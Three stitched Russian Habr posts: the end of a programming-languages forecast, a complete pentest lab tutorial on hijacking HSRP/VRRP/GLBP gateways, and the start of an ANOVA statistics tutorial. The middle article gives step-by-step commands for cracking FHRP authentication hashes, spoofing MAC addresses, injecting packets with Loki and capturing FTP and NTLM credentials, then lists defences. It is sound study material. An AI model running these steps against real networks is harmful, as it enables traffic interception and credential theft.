Можно сказать, что прогноз в целом оказался удачным. Хоть Elm и Crystal пока не оправдали надежд и их дальнейшее будущее пока под большим вопросом, зато остальные 3 языка проявили себя просто отлично. Kotlin при поддержке Google рванул как ракета в небеса, а Rust и Elixir полностью стабилизировались и однозначно стали production-ready языками. Я не смог выбрать, кто из них показал лучший прогресс… где-то Elixir обогнал Rust, где-то наоборот, и даже по кол-ву юзеров на форумах сообществ у них паритет (около 11 тыс. человек), поэтому в статье я им обоим отдал 2-е место. Эти языки определённо заслуживают внимания.
Да, каждый из них имеет свою нишу и на тривиальных проектах можно обойтись и без них. Зато в высоконагруженных проектах они придут на выручку и предоставят вам на выбор 2 пути: выжать максимум из железа (Rust) или обеспечить лёгкое масштабирование и отказоустойчивость (Elixir).
**P.S.** А как за 3 года изменился ваш Top перспективных языков? | https://habr.com/ru/post/467207/ | null | ru | null |
# FHRP Nightmare. Ад и кошмар систем отказоустойчивости маршрутизации
Для того, чтобы повысить уровень отказоустойчивости своей сети на уровне маршрутизации, сетевые администраторы в большинстве случаев используют протоколы семейства FHRP. Меня зовут @in9uz, и в рамках данной статьи ты узнаешь какой кошмар может возникнуть в сети, если к конфигурации системы горячего резервирования маршрутизаторов FHRP отнеслись халатно с точки зрения дизайна и безопасности.
[code]
It's coming through
It's coming through another motherfuckin' big tricks...
ᛝ
[/code]
### Intro (Disclaimer)
Данная статья предназначена для специалистов по безопасности, которые проводят пентест в рамках согласованного, легитимного контракта. Разрушение и взлом чужих компьютерных сетей могут преследоваться по закону. Будь осторожен и старайся не испытывать свою судьбу. Скиллы, которые ты освоишь из моей статьи - это только твоя область ответственности.
### Для чего созданы FHRP-протоколы
FHRP (First Hop Redundancy Protocol) — это семейство сетевых протоколов, которые позволяют нескольким физическим маршрутизторам делить/обслуживать один виртуальный IP-адрес, с целью повышения отказоустойчивости локальной сети. Этот виртуальный адрес будет назначаться, как адрес шлюза по умолчанию для конечных хостов. Самыми распространенными протоколами класса FHRP являются - HSRP, VRRP и GLBP, безопасность которых я и рассмотрю в рамках этой статьи.
### Протокол HSRP (Hot Standby Router/Redundancy Protocol)
Является проприетарной разработкой инженеров Cisco. Здесь всё достаточно просто:
1. Берется какая-то группа физических маршрутизаторов, на них запускается специальный процесс HSRP под уникальным числовым идентификатором.
2. Исходя из значений приоритетов, выбирается ACTIVE-маршрутизатор, STANDBY-маршрутизаторы
3. Настраивается виртуальный IP-адрес, за который будет отвечать ACTIVE-маршрутизатор
4. Опционально: настраивается режим PREEMPT, аутентификация, etc
#### Сущности домена HSRP и терминология
HSRP Active Router — устройство, занимающееся обработкой, маршрутизацией легитимного трафика.
HSRP Standby Router — устройство, находящееся в режиме ожидания, которое ожидает отказа активного маршрутизатора. После падения основного Active-роутера, Standby-роутер возьмет на себя главенствующую роль и будет заниматься обязанностями Active-роутера;
HSRP Group — группа устройств одной HSRP-группы, обеспечивают работу и отказоустойчивость логического маршрутизатора;
HSRP MAC Address — виртуальный MAC-адрес логического маршрутизатора в домене HSRP;
HSRP Virtual IP Address — это специальный виртуальный IP-адрес в группе HSRP. Данный IP-адрес будет шлюзом по умолчанию для конечных хостов, используется на самом логическом маршрутизаторе.
HSRP Preempt mode - опция, которая позволяет павшему ACTIVE-устройству (после его воскрешения) вернуть себе роль ACTIVE, после того когда его заменил один из STANDBY-маршрутизаторов (ситуация, когда была выполнена подмена ACTIVE-устройства, вышедшего из строя). По умолчанию, Preempt-режим в HSRP отключен.
### Скелет и механика работы HSRP
HSRP реализован поверх стека протоколов TCP/IP, поэтому для трансляции служебной информации используется протокол транспортного уровня UDP под номером порта 1985. HSRP-маршрутизаторы в рамках одной логической группы обмениваются специальными пакетами приветствия "hello" каждые 3 секунды, однако, если в течении 10 секунд HSRP-маршрутизатор в рамках одной группы не получил пакет приветствия от своего HSRP-соседа, то он признает его "погибшим"
У данного протокола есть две версии и они отличаются следующими характеристиками:
Количества групп (HSRPv1 предлагает до 255 групп, когда HSRPv2 может до 4096)
MAC-адреса (HSRPv1 - `00:00:0c:07:ac:xx` / HSRPv2 - `00:00:0C:9F:FX:XX`) (XX - это номер группы HSRP)
IP-адреса групповой рассылки (HSRPv1 - `224.0.0.2` / HSRPv2 - `224.0.0.102`)
### Протокол VRRP (Virtual Router Redundancy Protocol)
Данный протокол разработан на основе феноменов протокола HSRP, вследствие чего имеет большие неприятности с патентами. Поэтому его "свободным" и "открытым" назвать нельзя. Но по крайней мере поддерживается всеми вендорами сетевого оборудования, т.е. использование VRRP в твоей сети позволяет тебе быть независимым от какой-либо экосистемы вендора.
#### Скелет и механика работы VRRP
Де-факто, если ты знаешь как работает HSRP, ты знаешь как работает и VRRP. Между HSRP и VRRP очень много общего, но отличительные характеристики для тебя обозначу:
VRRP не реализован поверх стека протоколов TCP/IP. Данный протокол работает исключительно на сетевом уровне
Его IP-адрес мультикастовой рассылки - `224.0.0.18`
Его идентификатор - `112`
Вторая версия VRRPv2 отличается поддержкой IPv4 и поддержкой аутентификации. Тип аутентификации в зависимости от вендора. Например, Cisco предлагает защитить VRRP с использованием MD5-аутентификации, когда MikroTik (RouterOS) предлагает AH-аутентификации (AH - это протокол из оперы IPSec'a)
Третья версия - VRRPv3 отличается поддержкой IPv6, но лишается аутентификации.
VRRP-соседи в рамках одного домена отказоустойчивости обмениваются специальными пакетами приветствия, каждую секунду (своего рода hello time). Но также есть своего рода "dead timer" - если в течении 10 секунд пакета приветствия не будет - тот роутер от которого ожидался этот "hello" - выпадет из домена отказоустойчивости
### Проблема возникновения псевдобалансировки
Проблема заключается в том, что у протоколов HSRP и VRRP нет механизма балансировки нагрузки. При их использовании возникает псевдобалансировка, когда по умолчанию фактически пашет только одно устройство, когда остальные отдыхают и работают в режиме ожидания. Однако, вы можете просто раскидать ваши VLAN по логическим процессам HSRP/VRRP на уровне коммутаторов распределения (L3 свитчи) или на маршрутизаторов, когда будут создаваться логические VLAN-интерфейсы (802.1Q Encapsultation Moment)
Ниже будут примеры настроек для HSRP и VRRP в отношении сетей VLAN 10 и VLAN 30. Dist-SW1 будет пахать на VLAN 10, а за VLAN 30 спать. Dist-SW2 пашет за VLAN 30, а за VLAN 10 спит.
#### HSRP for VLANs (Cisco IOS)
[code]
Dist-SW1(config)# interface vlan 10
Dist-SW1(config-if)# standby 10 ip 10.10.10.254
Dist-SW1(config-if)# standby 10 priority 150
Dist-SW1(config-if)# standby 10 preempt
Dist-SW1(config-if)# standby 10 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end
Dist-SW1(config)# interface vlan 30
Dist-SW1(config-if)# standby 30 ip 10.10.30.254
Dist-SW1(config-if)# standby 30 priority 90
Dist-SW1(config-if)# standby 30 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end
Dist-SW2(config)# interface vlan 10
Dist-SW2(config-if)# standby 10 ip 10.10.30.254
Dist-SW2(config-if)# standby 10 priority 90
Dist-SW2(config-if)# standby 10 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end
Dist-SW2(config)# interface vlan 30
Dist-SW2(config-if)# standby 30 ip 10.10.10.254
Dist-SW2(config-if)# standby 30 priority 150
Dist-SW2(config-if)# standby 30 preempt
Dist-SW2(config-if)# standby 30 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end
[/code]
#### VRRP for VLANs (Cisco IOS)
[code]
Dist-SW1(config)# interface vlan 10
Dist-SW1(config-if)# vrrp 10 ip 10.10.10.254
Dist-SW1(config-if)# vrrp 10 priority 150
Dist-SW1(config-if)# vrrp 10 preempt
Dist-SW1(config-if)# vrrp 10 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end
Dist-SW1(config)# interface vlan 30
Dist-SW1(config-if)# vrrp 30 ip 10.10.30.254
Dist-SW1(config-if)# vrrp 30 priority 90
Dist-SW1(config-if)# vrrp 30 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end
Dist-SW2(config)# interface vlan 10
Dist-SW2(config-if)# vrrp 10 ip 10.10.30.254
Dist-SW2(config-if)# vrrp 10 priority 90
Dist-SW2(config-if)# vrrp 10 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end
Dist-SW2(config)# interface vlan 30
Dist-SW2(config-if)# vrrp 30 ip 10.10.10.254
Dist-SW2(config-if)# vrrp 30 priority 150
Dist-SW2(config-if)# vrrp 30 preempt
Dist-SW2(config-if)# vrrp 30 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end
[/code]
### Протокол GLBP (Gateway Load Balancing Protocol)
Разработан инженерами Cisco Systems. Как и HSRP, данный протокол реализован поверх стека протоколов TCP/IP, поэтому для трансляции служебной информации используется протокол транспортного уровня UDP под номером порта 3222. GLBP-маршрутизаторы в рамках одной логической группы обмениваются специальными пакетами приветствия "hello" каждые 3 секунды, однако, если в течении 10 секунд GLBP-маршрутизатор в рамках одной группы не получил пакет приветствия от своего GLBP-соседа, то он признает его "погибшим". Однако, значения таймеров могут конфигурироваться в зависимости от нужд админа.
#### Скелет и механика работы GLBP
GLBP обеспечивает распределение нагрузки на несколько маршрутизаторов (шлюзов) используя один виртуальный IP-адрес и несколько виртуальных MAC-адресов. Каждый хост сконфигурирован с одинаковым виртуальным IP-адресом и все маршрутизаторы в виртуальной группе участвуют в передаче пакетов.
Работает гораздо иначе в отношении протоколов HSRP и VRRP, так как использует механизмы настоящей балансировки нагрузки, обозначу ниже:
Host-Dependent. Тип балансировки нагрузки, использующийся в сети, где есть NAT. Host-Dependent гарантирует тот факт, что хосту вернется тот же MAC-адрес AVF-устройства, который использовался в раннем моменте времени, тем самым трансляции сконфигурированного NAT в отношении хоста разорваны не будут.
Round-Robin. В данном режиме AVG-устройство раздает MAC-адреса членам AVF попеременно. Именно этот механизм используется по умолчанию
Weight-based round-robin. Балансировка нагрузки на основе специальной метрики "Weight" (если переводить с английского - это вес)
#### Сущности домена GLBP и терминология
AVG (Active Virtual Gateway) \- устройство, которое является по сути батей всего логического домена GLBP. "Батя" указывает остальным маршрутизаторам как выполнять обработку легитимного трафика. Раздает MAC-адреса, ответственнен за ответы за ARP-запросы. Кстати говоря, в рамках одной группы GLBP, AVG-членов может быть только один маршрутизатор.
AVF (Active Virtual Forwarder) \- устройство в домене GLBP, которое занимается обработкой трафика. Их может быть несколько.
GLBP Group \- логическая группа GLBP, в которую входят физические маршрутизаторы. У каждой логической группы GLBP есть свой уникальный числовой идентификатор
GLBP MAC \- виртуальный MAC-адрес AVF-членов, раздаваемый существующим AVG-роутером.
GLBP Virtual IP Address \- IP-адрес, за который ответственнен AVG-маршрутизатор
GLBP Preempt Mode \- опция, позволяющая воскресшему AVG-устройству вернуть себе роль, после того, когда его подменил AVF, исходя из значений приоритетов. По умолчанию, в отношении AVG режим преемптинга отключен, когда для AVF-членов режим преемптинга включен (с задержкой до 30 секунд, но данное значение может конфигурироваться вручную)
GLBP Weight \- метрика, указывающая степень нагрузки на интерфейс устройства. Чем эта метрика больше, тем выше нагрузка на интерфейс маршрутизатора.
### Механизм селекции
В отношении FHRP-протоколов, значение приоритетов у маршрутизаторов по умолчанию равно 100. Если админ не настраивал приоритеты вручную, то в случае HSRP (ACTIVE), в случае VRRP (MASTER), в случае GLBP (AVG) станет тот маршрутизатор, у которого наибольший адрес. Безусловно, эти приортеты насстраиваются вручную, в зависимости от нужд сетевого администратора и какая ему инфраструктура отказоустойчивости нужна.
### Механизм FHRP-таймингов
HSRP (Hello time: 3 sec / Hold time: 10 sec)
VRRP (Hello time: 1 sec / Hold time: 3 sec)
GLBP (Hello time: 3 sec / Hold time: 10 sec)
### FHRP Hijacking
Домены FHRP уязвимы к Hijack-атаке, если лидирующие ACTIVE/MASTER/AVG не имеют максимального значения приоритета в отношении своей конфигурации. Если атакующий проведет инъекцию HSRP/VRRP/GLBP-пакета с максимальными значениями приоритетов, он сможет перехватить трафик внутри сети.
#### Stages Theory
Information Gathering. Этап разведки информации, выяснение значений приоритетов, поиск аутентификации, используемый виртуальный IP-адрес, MAC-адреса
Authentication Bypassing. Этап обхода аутентификации. Если она есть, разумеется. Сохраняем дамп трафика, эксфильтруем хеши и брутим ключ от домена.
Injection. Этап подготовки сетевого интерфейса, прописывание MAC-адреса, разрешение маршрутизации, генерация и отправка вредоносной FHRP-инъекции.
Routing Management. Создание вторичного IP-адреса, конфигурация нового маршрута по умолчанию, (NAT) MASQUERADE
#### Weaponize
Wireshark. С помощью данного анализатора сетевого трафика мы будем проводить процесс Information Gathering, перечисление заголовков пакетов
John & *2john-эксфильтраторы. John является брутфорсером хешей, *2john скрипты помогут воспроизвести эксфильтрацию хешей из дампа трафика
Loki. Является пакетным инжектором, фреймворком для проведения анализа защищенности различных L2/L3-протоколов, даже DRP, FHRP и т.д.
### Векторы атаки
MITM. Атака типа "человек по середине" с целью перехвата легитимного трафика. Выполняется путем вредоносного FHRP-инжекта с максимальным значением приоритета.
Blackhole. Атака с целью завернуть трафик легитимной подсети в НИКУДА. Blackhole в переводе с английского - "черная дыра". Типа трафик в черную дыру улетает и всё, приехали...
Kicking router via UDP Flood. DoS-атака, механизм которой заключается в массовой рассылке UDP-датаграмм с целью вывести из строя конечный роутер. Работает в отношении HSRP & GLBP, ибо когда на роутерах запускаются процессы этих протоколов, они автоматически начинают прослушивать UDP-порты 1985 и 3222 (HSRP и GLBP соответственно), для VRRP, опять же, транспортного уровня нет.
### Ограничения атаки
Зависимость от мощности CPU. После MITM-атаки, трафик всей сети или VLAN-сегмента (в зависимости от существующей инфраструктуры) побежит через твое устройство и оно должно быть готово к обработке, маршрутизации трафика всего легитимного сегмента. Иначе возникнет DoS, а заказчик такой сценарий не оценит и потекут горячие слёзы.
Производительность сетевого интерфейса. Сетевая карта, использующаяся в момент проведения атаки должна быть достаточно мощной, чтобы справиться с обработкой большого количества трафика.
Зависимость от возможной VLAN-сегментации сети. Если ты находишься, например, в VLAN 10 и сможешь провести MITM через инжект - ты будешь перехватывать трафик того VLAN, в котором сам и находишься. Трафик других VLAN'ов ты не достанешь.
### FHRP Nightmare Topology
В рамках практической реализации атак, я собрал трехуровневую сеть, которую я обеспечил доступом в сеть интернет, OSPF и доменами отказоустойчивости HSRP/VRRP/GLBP. В рамках моей атаки, я буду воздействовать именно на уровень распределения сети (Distribution Layer) и перехватывать трафик сети VLAN 10.
FHRP Nightmare Topology
Papercut \- FTP-сервер под IP-адресом `172.16.60.100`
Dustup \- тачка с ОС Windows 10 под IP-адресом `172.16.40.1`
Attacker (Mercy) \- система атакующего с Kali Linux под IP-адресом `10.10.10.3`
Boundless \- клиентская машина с Linux Mint под IP-адресом `10.10.10.5`
Левая часть свитчей уровня Distribution - свитчи Cisco vIOS: Dist-SW1 и Dist-SW2 под адресами `10.10.10.100` и `10.10.10.101` соответственно
Edge Router \- пограничный маршрутизатор данной сети, обеспечивает всю сеть интернетом путем механизма NAT (PAT Mechanism Moment)
В качестве динамической маршрутизации выступает позвоночная (BACKBONE) зона OSPF и идентификатором `0`
А процессы HSRP/VRRP/GLBP реализованы на виртуальных SVI-интерфейсах.
### HSRP Hijacking
#### Stage 1: Information Gathering
Из дампа трафика в Wireshark мы видим HSRP-объявления от двух коммутаторов под адресами `10.10.10.100` и `10.10.10.101`
HSRP-объявления от двух устройств
Исходя из анализа заголовков пакетов HSRP имеем следующую картину (в рамках моей сети я изучил 2 HSRP-объявления):
ACTIVE-устройством является коммутатор под адресом `10.10.10.100`, его приоритет 150
STANDBY-устройством является коммутатор под адресом `10.10.10.101`, его приоритет 90
Используется криптографическая аутентификация (MD5)
Виртуальный IP-адрес `10.10.10.254`
Виртуальный MAC: `00:00:0c:07:ac:01` (ACTIVE)
Номер HSRP группы `1`
Так как ACTIVE-коммутатор имеет приоритет `150` из `255` \- вырисовывается вектор Hijack-атаки. Но также, есть используется аутентификация. Аутентификация в отношении FHRP не позволяет неавторизованным устройствам вступать в процесс обеспечения отказоустойчивости. Но так как мы являемся атакующим, нам необходимо выяснить что за ключ используется в качестве аутентификации к HSRP-домену.
#### Stage 2: Authentication Bypassing
Необходимо сохранить дамп трафика в формате .pcap, далее с помощью hsrp2john.py (в моем случае скрипт называется hsrpexfiltrate.py) выполняем эксфильтрацию хешей. Данный скрипт выплюнет MD5-хеши и в тот же момент преобразует их к формату Джона, что удобно. Потом эти хеши можно перебросить в отдельный файл и скормить его Джону, т.е. этот файл будет выступать в качестве входных данных для брута. Ну и с помощью ключа "--wordlist" указываем путь до словаря
[code]
in9uz@Mercy:~$ python2 hsrpexfiltrate.py hsrpwithauth.pcap
in9uz@Mercy:~$ cat >> hsrpv1md5hashes
in9uz@Mercy:~$ john hsrpv1md5hashes --wordlist=/usr/share/wordlists/rockyou.txt
[/code]
Взломанный пароль от HSRP-домена
В итоге нам удалось сбрутить ключ аутентификации к домену HSRP - endgame
#### Stage 3: Injection
В первую очередь, нам необходимо сменить MAC-адрес на виртуальный MAC-адрес ACTIVE-коммутатора. Это делается для того, чтобы в лишний раз не стриггернуть систему DAI (Dynamic ARP Inspection), ибо DAI вполне может удивиться тому, что в отношении `10.10.10.254` теперь присутствует другой MAC-адрес.
Далее, переключаем наш сетевой интерфейс в неразборчивый режим (promiscious mode) и разрешаем маршрутизацию трафика.
[code]
in9uz@Mercy:~$ sudo macchanger --mac=00:00:0C:07:AC:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
[/code]
Теперь нужно запустить Loki, выбрать сетевой интерфейс
[code]
in9uz@Mercy:~$ sudo loki_gtk.py
[/code]
Выбор интерфейса в Loki [HSRP]
После запуска инструмента, сам Loki обнаружит рассылаемые HSRP-объявления от маршрутизаторов. Вводим аутентификационный ключ MD5 (endgame), выбираем опцию "Do gratuitous ARP". Это специальная модификация ARP-кадра, являющейся по факту заглушкой, которое оповещает весь широковещательный домен о новой привязке IP-адреса с MAC-адресом. Далее, кликаем на два устройства (в состоянии Seen) и выбираем опцию Get IP.
Начало атаки [HSRP]
После этого, Loki сгенерирует кастомную инъекцию с максимальным значением приоритета `255`, что в свою очередь позволит атакующему перехватить ACTIVE-роль и встать таким образом человеком по середине (Man-in-the-Middle moment)
Строение HSRP-инъекции
#### Stage 4: Routing Management
После осуществеленного инжекта, нам необходимо заняться небольшим роутинг-менеджментом.
Сперва нужно удалить старый маршрут по умолчанию, идущий через `10.10.10.254`, ибо так как мы стали новым ACTIVE-маршрутизатором, мы являемся владельцем этого виртуального адреса (10.10.10.254), но при старом маршруте весь трафик замыкается на нашей ОС, что без дополнительных морок вызывает DoS в отношении легитимных хостов :))
Также нужно создать на нашем интерфейсе вторичный адрес со значением HSRP Virtual IP Address (10.10.10.254), опять же, после атаки мы являемся владельцем этого адреса.
[code]
in9uz@Mercy:~$ sudo ifconfig eth0:1 10.10.10.254 netmask 255.255.255.0
[/code]
Пропишем новый маршрут по умолчанию через `10.10.10.100` (это бывший ACTIVE-роутер), но даже не смотря на то, что мы отжали у него ACTIVE-роль, он всё равно сможет выполнить маршрутизацию трафика куда нам нужно. Также можно попробовать прописать второй статический маршрут через `10.10.10.101`, с указанием специальной метрики, т.е. здесь со вторым маршрутом уже реализовывается плавающая статическая маршрутизация.
[code]
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.10.100
[/code]
Также необходимо настроить NAT (MASQUERADING), чтобы видеть ещё и исходящий трафик, кроме входящего
[code]
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
[/code]
В итоге нам удалось провести MITM-атаку. Чтобы наглядно показать импакт от атаки, подключусь к FTP-серверу Papercut
Подключение к FTP-серверу [HSRP]Перехваченные креды prayer:sleeper
### VRRP Hijacking
#### Stage 1: Information Gathering
В рамках VRRP, эти пакеты приветствия видны только от MASTER-устройства.
Дамп VRRP-трафика
Исходя из анализа заголовков пакетов HSRP обозначим следующую информацию:
MASTER-устройством является маршрутизатор под адресом `10.10.10.100`, его приоритет 150
Аутентификация отсутствует
Виртуальный IP-адрес `10.10.10.254`
Виртуальный MAC: `00:00:5e:00:01:01`
Номер VRRP группы `1`
#### Stage 2: Injection
Меняем MAC-адрес на тот, который относится к MASTER, неразборчивый режим и разрешаем маршрутизацию
[code]
in9uz@Mercy:~$ sudo macchanger --mac 00:00:5e:00:01:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0 promisc
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
[/code]
Запускаем Loki
[code]
in9uz@Mercy:~$ sudo loki_gtk.py
[/code]
Выбор интерфейса [VRRP]
Loki задетектил VRRP-объявление. Всё тоже самое, генерируем заглушку (Gratuitous ARP) и выполняем инжект
Начало атаки на VRRP-домен
Loki выполнил инжект, можно изучить его тело (У инжекта приоритет `255`)
#### Stage 3: Routing Management
Всё тот же роутинг-менеджемент. Прописываем роуты, создаем вторичный адрес и настраиваем NAT (MASQUERADE)
[code]
in9uz@Mercy:~$ sudo ifconfig eth0:1 10.10.10.254 netmask 255.255.255.0
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.10.100
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
[/code]
Для наглядности снова подключусь к тому FTP-серверу (Papercut), но с другими кредами (death:betrayal)
Перехваченные FTP-креды [VRRP]
### GLBP Hijacking
#### Stage 1: Information Gathering
Видим GLBP-объявления от двух устройств. Исходя из анализа пакетов GLBP мы имеем следующую картину:
AVG-роутером является устройство под адресом `10.10.10.100`
AVF-роутером является устройство под адресом `10.10.10.101`
Аутентификация отсутствует
Номер группы GLBP `1`
Виртуальный IP-адрес `10.10.10.254`
Виртуальный MAC: `00:07.b4:00.01:01`
Информация о AVG-свитчеИнформация о AVF-свитче
#### Stage 2: Injection
Меняем MAC-адрес на тот, который был у AVG, promiscious mode и разрешение маршрутизации
[code]
in9uz@Mercy:~$ sudo macchanger --mac=00:07.b4:00.01:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0 promisc
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
[/code]
Запускаем Loki, выбираем интерфейс
Выбор интерфейса [GLBP]
Loki обнаружил объявления. Выполняем инжект x Gratuitous ARP
Начало атаки на GLBP-домен
Loki сгенерировал GLBP-инъекцию со значениями приоритетов и веса (Priority `255` x Weight `255`)
GLBP Priority 255 x GLBP Weight 255
#### Stage 3: Routing Management
Создаем вторичный адрес, прописываем роут и NAT
[code]
in9uz@Mercy:~$ sudo ifconfig eth0:1 10.10.10.254 netmask 255.255.255.0
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.10.100
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
[/code]
Мы стали "человеком по середине", запустим net-creds.py, данная тулза будет дергать чувствительные данные во время анализа трафика (т.е. незашифрованный HTTP/FTP-трафик, NTLM-хэши)
[code]
in9uz@Mercy:~/FHRPNightmare/net-creds$ sudo python2 net-creds.py -i eth0
[/code]
Для наглядности синицирую чтение SMB-шары от имени пользователя `distance`
Чтение SMB-шарыПерехваченный NTLMv2-SSP пользователя distance
Можно сбрутить этот `NTLMv2-SSP`, почему нет
Взломанный пароль пользователя distance
### Prevention
Использование ACL. ACL позволяет фильтровать трафик по различным параметрам, начиная от IP-адреса источника, заканчивая по TCP/UDP портам. (в зависимости от того, какой ACL используете - стандартный или расширенный?)
Для HSRP: ACL against `224.0.0.2` or `224.0.0.102`, UDP/1985
Для VRRP: ACL against `224.0.0.18`
Для GLBP: ACL against `224.0.0.102`, UDP/3222
Использование аутентификации. Аутентификация не позволяет неавторизованным маршрутизаторам входить в домены отказоустойчивости. Если собираешься защищать домен с помощью аутентификации, используй стойкие ключи, чтобы их было не так просто сбрутить.
Вот Cisco IOS может похвастаться наличием Key-Chain аутентификации, где может быть использовано несколько ключей, а также можно будет настроить временные промежутки, в рамках которых ключи будут приниматься и отправляться. RouterOS вот вообще имеет дикую AH-аутентификацию для VRRP, там такая соль используется - хрен сбрутишь, даже словарный пароль. Кстати говоря, Cisco IOS использует MD5-аутентификацию для FHRP, а RouterOS - AH (протокол из оперы IPSec)
Максимальные значения приоритетов. Из соображений безопасности рекомендуется на Master- или Active-маршрутизаторе выставить максимальный приоритет. В таком случае, если злоумышленник отправит вредоносный пакет с приоритетом `255`, у него не выйдет стать «главным», поскольку таковой уже имеется. Кстати говоря, для VRRP удастся выкрутить значение только `254`, ибо приоритет `255` образовывается де-факто, после того, как MASTER обслуживает IP-адрес
### Outro
Протоколы FHRP помогают организовать систему горячего резервирования шлюзов маршрутизации. Такие системы широко распространены в рамках рассмотренного мною кейса. Но теперь ты знаешь, что может произойти с сетью, если инженер не позаботился о дизайне и безопасности конфигурации самих FHRP-протоколов.
Кстати говоря, вот этот FHRP Hijacking может служить альтернативой ARP-спуфингу. В сетях AD открываются все возможности для Relay-атак и сбора информации, также можно реализовать фишинговые атаки и многое другое. Очень надеюсь, это данное моё исследование подарит пентестерам новые векторы атак для пентестеров, а сетевые администраторы обзаведутся новыми кейсами, чтобы повысить безопасность своей сети.
ᛝ | https://habr.com/ru/post/685072/ | null | ru | null |
# Python и статистический вывод: часть 4
Этот заключительный пост посвящен анализу дисперсии. Предыдущий пост см. [здесь](https://habr.com/ru/post/556852/).
Анализ дисперсии
----------------
*Анализ дисперсии* (варианса), который в специальной литературе также обозначается как ANOVA от англ. ANalysis Of VAriance, — это ряд статистических методов, используемых для измерения статистической значимости расхождений между группами. Он был разработан чрезвычайно одаренным статистиком Рональдом Фишером, который также популяризировал процедуру проверки статистической значимости в своих исследовательских работах по биологическому тестированию.
> **Примечание**. В предыдущей и этой серии постов для термина «variance» использовался принятый у нас термин «дисперсия» и в скобках местами указывался термин «варианс». Это не случайно. За рубежом существуют парные термины «variance» и «covariance», и они по идее должны переводиться с одним корнем, например, как «варианс» и «коварианс», однако на деле у нас парная связь разорвана, и они переводятся как совершенно разные «дисперсия» и «ковариация». Но это еще не все. «Dispersion» (статистическая дисперсия) за рубежом является отдельным родовым понятием разбросанности, т.е. степени, с которой распределение растягивается или сжимается, а мерами статистической дисперсии являются варианс, стандартное отклонение и межквартильный размах. Dispersion, как родовое понятие разбросанности, и variance, как одна из ее мер, измеряющая расстояние от среднего значения - это два разных понятия. Далее в тексте для variance везде будет использоваться общепринятый термин «дисперсия». Однако данное расхождение в терминологии следует учитывать.
>
>
Наши тесты на основе *z*-статистики и *t*-статистики были сосредоточены на выборочных средних значениях как первостепенном механизме проведения разграничения между двумя выборками. В каждом случае мы искали расхождение в средних значениях, деленных на уровень расхождения, который мы могли обоснованно ожидать, и количественно выражали стандартной ошибкой.
Среднее значение не является единственным выборочным индикатором, который может указывать на расхождение между выборками. На самом деле, в качестве индикатора статистического расхождения можно также использовать выборочную дисперсию.
Длительности (сек), постранично и совмещенноВ целях иллюстрации того, как это могло бы работать, рассмотрим приведенную выше диаграмму. Каждая из трех групп слева может представлять выборки времени пребывания на конкретном веб-сайте с его собственным средним значением и стандартным отклонением. Если время пребывания для всех трех групп объединить в одну, то дисперсия будет больше средней дисперсии для групп, взятых отдельно.
Статистическая значимость на основе анализа дисперсии вытекает из соотношения двух дисперсий — дисперсии *между* исследуемыми группами и дисперсии *внутри* исследуемых групп. Если существует значимое межгрупповое расхождение, которое не отражено внутри групп, то эти группы помогают объяснить часть дисперсии между группами. И напротив, если внутригрупповая дисперсия идентична межгрупповой дисперсии, то группы статистически от друг друга неразличимы.
F-распределение
---------------
*F*-распределение параметризуется двумя степенями свободы — степенями свободы размера выборки и числа групп.
Первая степень свободы — это количество групп минус 1, и вторая степень свободы — размер выборки минус число групп. Если *k* представляет число групп, и *n* — объем выборки, то получаем:
Мы можем визуализировать разные *F*-распределения на графике при помощи функции библиотеки pandas `plot`:
```
def ex_2_Fisher():
'''Визуализация разных F-распределений на графике'''
mu = 0
d1_values, d2_values = [4, 9, 49], [95, 90, 50]
linestyles = ['-', '--', ':', '-.']
x = sp.linspace(0, 5, 101)[1:]
ax = None
for (d1, d2, ls) in zip(d1_values, d2_values, linestyles):
dist = stats.f(d1, d2, mu)
df = pd.DataFrame( {0:x, 1:dist.pdf(x)} )
ax = df.plot(0, 1, ls=ls,
label=r'$d_1=%i,\ d_2=%i$' % (d1,d2), ax=ax)
plt.xlabel('$x$\nF-статистика')
plt.ylabel('Плотность вероятности \n$p(x|d_1, d_2)$')
plt.show()
```
Кривые приведенного выше графика показывают разные *F*-распределения для выборки, состоящей из 100 точек, разбитых на 5, 10 и 50 групп.
F-статистика
------------
Тестовая выборочная величина, которая представляет соотношение дисперсии внутри и между группами, называется *F*-статистикой. Чем ближе значение *F*-статистики к единице, тем более похожи обе дисперсии. *F*-статистика вычисляется очень просто следующим образом:
где *S2b* — это межгрупповая дисперсия, и *S2w* — внутригрупповая дисперсия.
По мере увеличения соотношения *F* межгрупповая дисперсия увеличивается по сравнению с внутригрупповой. Это означает, что это разбиение на группы хорошо справляется с задачей объяснения дисперсии, наблюдавшейся по всей выборке в целом. Там, где это соотношение превышает критический порог, мы можем сказать, что расхождение является статистически значимым.
*F*-тест всегда является односторонним, потому что любая дисперсия среди групп демонстрирует тенденцию увеличивать *F*. При этом *F* не может уменьшаться ниже нуля.
*Внутригрупповая дисперсия* для *F*-теста вычисляется как среднеквадратичное отклонение от среднего значения. Мы вычисляем ее как сумму квадратов отклонений от среднего значения, деленную на первую степень свободы. Например, если имеется *k* групп, каждая со средним значением *x̅k*, то мы можем вычислить внутригрупповую дисперсию следующим образом:
